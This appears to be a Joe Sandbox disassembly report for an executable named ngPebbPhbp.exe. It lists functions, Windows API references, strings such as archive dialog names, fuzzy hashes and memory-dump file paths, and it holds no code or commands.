Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 735abc96da2bf80246df1ac4f3e318ca26b19fb699601a6a9e2a87c0e6b9bfce
Instruction ID: 5b13296f83cbceb961c11121a4222a60edfa2af732c189554eda11e835953b48
Opcode Fuzzy Hash: 735abc96da2bf80246df1ac4f3e318ca26b19fb699601a6a9e2a87c0e6b9bfce
Instruction Fuzzy Hash: 8A01F4361A560567832A77786DE6F2F36EEDFC1771F3201A4F505A3192EF708C055224

Function 00B334AF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B334C7

Part of subcall function 00B303D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?), ref: 00B303EA
Part of subcall function 00B303D4: GetLastError.KERNEL32(?,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?,?), ref: 00B303FC

_free.LIBCMT ref: 00B334D9
_free.LIBCMT ref: 00B334EB
_free.LIBCMT ref: 00B334FD
_free.LIBCMT ref: 00B3350F

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d91ebe30a7dca080aa04bd4c6721f2b529577584a7f743204536dda8305d3326
Instruction ID: ee4f61616daebd0dc58725263f379daa883e363dc215b7fca76e38977bfbf4c2
Opcode Fuzzy Hash: d91ebe30a7dca080aa04bd4c6721f2b529577584a7f743204536dda8305d3326
Instruction Fuzzy Hash: DBF0FF32514200A78B20EB58F496C17B7D9FE55B10B7A0885F408E7A01CB71FE848764

Function 00B2F7C0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B2F7DE

Part of subcall function 00B303D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?), ref: 00B303EA
Part of subcall function 00B303D4: GetLastError.KERNEL32(?,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?,?), ref: 00B303FC

_free.LIBCMT ref: 00B2F7F0
_free.LIBCMT ref: 00B2F803
_free.LIBCMT ref: 00B2F814
_free.LIBCMT ref: 00B2F825

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 77fda6fdbdbed64cb71a722a488ccaee5c7f5c2c7c6bc81bb7c0a12156337d2f
Instruction ID: 39fd8b163333d7a4ff8123e23fd1699ad80354d76cc86cfea6afd746b643f171
Opcode Fuzzy Hash: 77fda6fdbdbed64cb71a722a488ccaee5c7f5c2c7c6bc81bb7c0a12156337d2f
Instruction Fuzzy Hash: 45F05E748203208B9711BF28BC52509BBE1FB1D727B5102DAF419A3671CF711D06CF89

Function 00B22F8D Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 350COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B231A4

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

Strings

0, xrefs: 00B23261
lnk, xrefs: 00B23165
.lnk, xrefs: 00B2319E, 00B231AB

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _wcslen
String ID: .lnk$0$lnk
API String ID: 176396367-906397761
Opcode ID: 33a1480046aadef67dcff6abe5cd4d135a0ecdca7d24a69fd4f920b9d6207e29
Instruction ID: 1b1912eb413be44133ece91ea0d878230722f8d6ca1f7d645845777b4de30d78
Opcode Fuzzy Hash: 33a1480046aadef67dcff6abe5cd4d135a0ecdca7d24a69fd4f920b9d6207e29
Instruction Fuzzy Hash: A0E1E871D012689EDB24DBA4D885BDDB7F8AF08300F5045EAE549A7291DB74AB88CF60

Function 00B22B26 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000105,00000000,00000000,0000020A), ref: 00B22B66

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

Part of subcall function 00B10BF3: _wcslen.LIBCMT ref: 00B10C03

EndDialog.USER32(?,00000001), ref: 00B22EDA

Strings

@set:user, xrefs: 00B22D20
, xrefs: 00B22E88

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _wcslen$DialogPathTemp
String ID: $@set:user
API String ID: 2172748170-1503366402
Opcode ID: 14cbd9d2bdd75a5d086a8f5781a64f5e2f9019a885ce22fea0ebb2e5b9d32531
Instruction ID: e5b634b8996c55f2c29195840caaade801c3df3692255512fca5ff47114b2ec8
Opcode Fuzzy Hash: 14cbd9d2bdd75a5d086a8f5781a64f5e2f9019a885ce22fea0ebb2e5b9d32531
Instruction Fuzzy Hash: D6C13A30901269AEDF24EBA4DC45BEDBBF8AF15300F5405EAE449B3292DB705B89CF51

Function 00B21F82 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B11309: __EH_prolog3.LIBCMT ref: 00B11310
Part of subcall function 00B11309: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00B117FB,?,?,\\?\,5EA84158,?,?,?,00000000,00B3A279,000000FF), ref: 00B11319

Part of subcall function 00B11AD1: __EH_prolog3_GS.LIBCMT ref: 00B11AD8

Part of subcall function 00B0F763: __EH_prolog3_GS.LIBCMT ref: 00B0F76A

Part of subcall function 00B0F58B: __EH_prolog3_GS.LIBCMT ref: 00B0F592
Part of subcall function 00B0F58B: SetFileAttributesW.KERNELBASE(?,?,00000024,00B0A724,?,?,?,00000011,?,?,00000000,?,?,?,?,?), ref: 00B0F5A8
Part of subcall function 00B0F58B: SetFileAttributesW.KERNEL32(?,?,?,?,?,00B0D303,?,?,?,?,?,?,?,5EA84158,00000049), ref: 00B0F5EB

SHFileOperationW.SHELL32(?,00000000,?,?,?,00000000), ref: 00B22137
MoveFileW.KERNEL32(?,?), ref: 00B222BE
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 00B222D8

Part of subcall function 00B114CC: __EH_prolog3_GS.LIBCMT ref: 00B114D3

Strings

.tmp, xrefs: 00B2222B

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: File$H_prolog3_$AttributesMove$CurrentDirectoryH_prolog3Operation
String ID: .tmp
API String ID: 1688541384-2986845003
Opcode ID: 8b134ffab0a501935c5600a7bfb384d1e7c782051194f8d956299151ba5421a0
Instruction ID: 016b4c6730e30ed8488b5a693c2078b24f72bc01e7f8a0c09804a87aab5a2aa6
Opcode Fuzzy Hash: 8b134ffab0a501935c5600a7bfb384d1e7c782051194f8d956299151ba5421a0
Instruction Fuzzy Hash: FBC1D1719002689ADB25DFA4DC85BDDBBB8BF18300F5045EAE54DB3291DB345B89CF21

Function 00B0A300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0A307
GetLastError.KERNEL32(00000054,?,?,?,?,?,00B0D303,?,?,?,?,?,?,?,5EA84158,00000049), ref: 00B0A427

Part of subcall function 00B0AC11: GetCurrentProcess.KERNEL32(00000020,?), ref: 00B0AC2E
Part of subcall function 00B0AC11: GetLastError.KERNEL32 ref: 00B0AC72
Part of subcall function 00B0AC11: CloseHandle.KERNEL32(?), ref: 00B0AC81

Strings

SeRestorePrivilege, xrefs: 00B0A356
SeSecurityPrivilege, xrefs: 00B0A341

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorLast$CloseCurrentH_prolog3_HandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2235100918-639343689
Opcode ID: 8fcc4c557bc5dd2c06da2dfd2e6f72f2c838bc7cd10795895afed890b0d51dac
Instruction ID: fb45e272aed10fb46d916160955fae017af403da48d14a32fd750d9843d44ab3
Opcode Fuzzy Hash: 8fcc4c557bc5dd2c06da2dfd2e6f72f2c838bc7cd10795895afed890b0d51dac
Instruction Fuzzy Hash: 2C417075E00308AFDF24DBA8E886BEDBBF8EB48314F04449AF501B7391DB7499448B25

Function 00B2EE2A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\ngPebbPhbp.exe,00000104), ref: 00B2EE6A
_free.LIBCMT ref: 00B2EF35
_free.LIBCMT ref: 00B2EF3F

Strings

C:\Users\user\Desktop\ngPebbPhbp.exe, xrefs: 00B2EE61, 00B2EE68, 00B2EE97, 00B2EECF

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\ngPebbPhbp.exe
API String ID: 2506810119-376171749
Opcode ID: a4b75a7660f85a8df7e7c06483da7154ae9eb6814841de682f47a0760be6fa11
Instruction ID: c2be0f98bcb5d409d553558efb44c530e0c2bdd159431873e467bc3044469456
Opcode Fuzzy Hash: a4b75a7660f85a8df7e7c06483da7154ae9eb6814841de682f47a0760be6fa11
Instruction Fuzzy Hash: 56316371A04268AFDB21EF9AED8199EBBFCEF89310F1440E6F81897211D7709E44CB51

Function 00B29E56 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00B29E7B
_abort.LIBCMT ref: 00B29F86

Strings

RCC, xrefs: 00B29E95
MOC, xrefs: 00B29E8D

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 8c20f49deadc697d7651f93a8e83b3e885f5340b4b863a9b0a92da2173c0c462
Instruction ID: df58cea8b4e6241dde41e73c4934c7eabbe71980b056af4215817917e064c337
Opcode Fuzzy Hash: 8c20f49deadc697d7651f93a8e83b3e885f5340b4b863a9b0a92da2173c0c462
Instruction Fuzzy Hash: 77415571900219AFCF15DF98ED81AAEBBB5FF48304F1981A9FA1CA7221D335A950DB50

Function 00B1338E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00B1340E
_strncpy.LIBCMT ref: 00B13459

Part of subcall function 00B189ED: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000050,?,00000000,00000000,00B4E088,?,00000007,00B133E2,?,?,00000050,5EA84158), ref: 00B18A0A

Strings

@%s, xrefs: 00B133F8
$%s, xrefs: 00B13403

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 3dd6f79113dfb0909a4205a925fe36e5f29a26e0ca4776d0b746f84c523d34ba
Instruction ID: 0446b9d17dbaab48c48fbd8148504adba63e640bff7959ba9c6092f8006eb8a8
Opcode Fuzzy Hash: 3dd6f79113dfb0909a4205a925fe36e5f29a26e0ca4776d0b746f84c523d34ba
Instruction Fuzzy Hash: B8218F72500709ABDB10DEA8DC81EEE7BE8FB04700F5405A5FA14D7291EB31EA958B60

Function 00B1F8F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B1F8F7

Part of subcall function 00B01E44: GetDlgItem.USER32(00000000,00003021), ref: 00B01E88
Part of subcall function 00B01E44: SetWindowTextW.USER32(00000000,00B3C6C8), ref: 00B01E9E

EndDialog.USER32(?,00000001), ref: 00B1F99F
SetDlgItemTextW.USER32(?,00000066,00000000), ref: 00B1F9E1

Strings

ASKNEXTVOL, xrefs: 00B1F909

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ItemText$DialogH_prolog3_Window
String ID: ASKNEXTVOL
API String ID: 2321058237-3402441367
Opcode ID: 1bc9363c6d7ac3fec6018aebbe0604440630b959bb7eaf270f188ca8e3188263
Instruction ID: 1ca21c600590edcff1668905a79620d6aa14d0b41f3e0f10be132285f8ce61a7
Opcode Fuzzy Hash: 1bc9363c6d7ac3fec6018aebbe0604440630b959bb7eaf270f188ca8e3188263
Instruction Fuzzy Hash: 06214A31641205BFDB24EBA8CC5AFED37E8EB0A341F5004A5F541AB2A5C631DA44CB21

Function 00B17445 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00B0FEBD,00000008,00000004,00B12D42,?,?,?,?,00000000,00B1ABB6,?), ref: 00B17484
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00B0FEBD,00000008,00000004,00B12D42,?,?,?,?,00000000), ref: 00B1748E
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00B0FEBD,00000008,00000004,00B12D42,?,?,?,?,00000000), ref: 00B1749E

Strings

Thread pool initialization failed., xrefs: 00B174B6

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 2063c73185f7624ab86a5edbea09e690fb9e4fee5112b979e1e0736ad0b2afde
Instruction ID: 3e303faf327b47be52a474a2df60da1e4aa4d2e54d62947556fa53a4d9e35d91
Opcode Fuzzy Hash: 2063c73185f7624ab86a5edbea09e690fb9e4fee5112b979e1e0736ad0b2afde
Instruction Fuzzy Hash: 631191B1644709ABD3219F669CC49E7FFECEB54744F60086EF1DAC3300DAB059808B60

Function 00B2406A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00B240B8, 00B240F2
RENAMEDLG, xrefs: 00B240CB

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: e39979c1648c6324f261c944a5115c0b5927773a852ad4507359010a30bdec23
Instruction ID: 0856ae6b34eb1744d00ab268d26c3e1ce52028fa2586dd202addddb99fa0d693
Opcode Fuzzy Hash: e39979c1648c6324f261c944a5115c0b5927773a852ad4507359010a30bdec23
Instruction Fuzzy Hash: 0A11AC31304320ABD7218F18FC84A173BE9F749783B0408A9FA4AC3660CB719894DB61

Function 00B2A892 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00B2A843,00000000,?,00B56150,?,?,?,00B2A9E6,00000004,InitializeCriticalSectionEx,00B3F7F4,InitializeCriticalSectionEx), ref: 00B2A89F
GetLastError.KERNEL32(?,00B2A843,00000000,?,00B56150,?,?,?,00B2A9E6,00000004,InitializeCriticalSectionEx,00B3F7F4,InitializeCriticalSectionEx,00000000,?,00B2A79D), ref: 00B2A8A9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00B2A8D1

Strings

api-ms-, xrefs: 00B2A8B6

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 8147e5dcc96d0627dfaea778f663e8ce23d11c87184a0374f603b18f597794a4
Instruction ID: 4a1bcbb9e3d43283aea2d33edf5b778c2d56cf94345bc79ad84bb6d92144245b
Opcode Fuzzy Hash: 8147e5dcc96d0627dfaea778f663e8ce23d11c87184a0374f603b18f597794a4
Instruction Fuzzy Hash: 4BE04F30680215B7EF201BF0FD06B1E3ED9EB10B91F200070FA0DB84E0DB6198119BA6

Function 00B307EA Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B30875
__alldvrm.LIBCMT ref: 00B30A76
__alldvrm.LIBCMT ref: 00B30A98

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 1ec6666d94b4212580304211626675eb5ed9854efa503107affec4ce99a0ac8c
Instruction ID: 73d8977e6bccd8c43f1a2fafa8e06bdc7a31f9b1153f210159d568d421738791
Opcode Fuzzy Hash: 1ec6666d94b4212580304211626675eb5ed9854efa503107affec4ce99a0ac8c
Instruction Fuzzy Hash: CDA14B71A247869FEB11EF2CD8A17AEBBE4EF51350F3442EDE4959B282C6348D41C750

Function 00B33638 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00B30481,?,00000000,?,00000001,?,?,00000001,00B30481,?), ref: 00B33685
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B3370E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00B2DBD1,?), ref: 00B33720
__freea.LIBCMT ref: 00B33729

Part of subcall function 00B3040E: RtlAllocateHeap.NTDLL(00000000,00B2535E,?,?,00B26C16,?,?,?,?,?,00B25269,00B2535E,?,?,?,?), ref: 00B30440

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 5015317e9b29cd15f945b6565275b9dfd50855ee9c050c1bd8a04b91aec20d28
Instruction ID: 5b352eb91fe2ca4afc3f08594afe8d8d2edfa80e076453e71a815958fdca10ee
Opcode Fuzzy Hash: 5015317e9b29cd15f945b6565275b9dfd50855ee9c050c1bd8a04b91aec20d28
Instruction Fuzzy Hash: 36319CB2A0021AABDF259F64DC85DAF7BE5EB40750F2401A8EC04E6250EB35CE51CB90

Function 00B162CD Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B162D4
ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000010), ref: 00B162EB
ExpandEnvironmentStringsW.KERNEL32(?,?,?,00000000,?,?,?,?,?,00000010), ref: 00B16328
_wcslen.LIBCMT ref: 00B16338

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

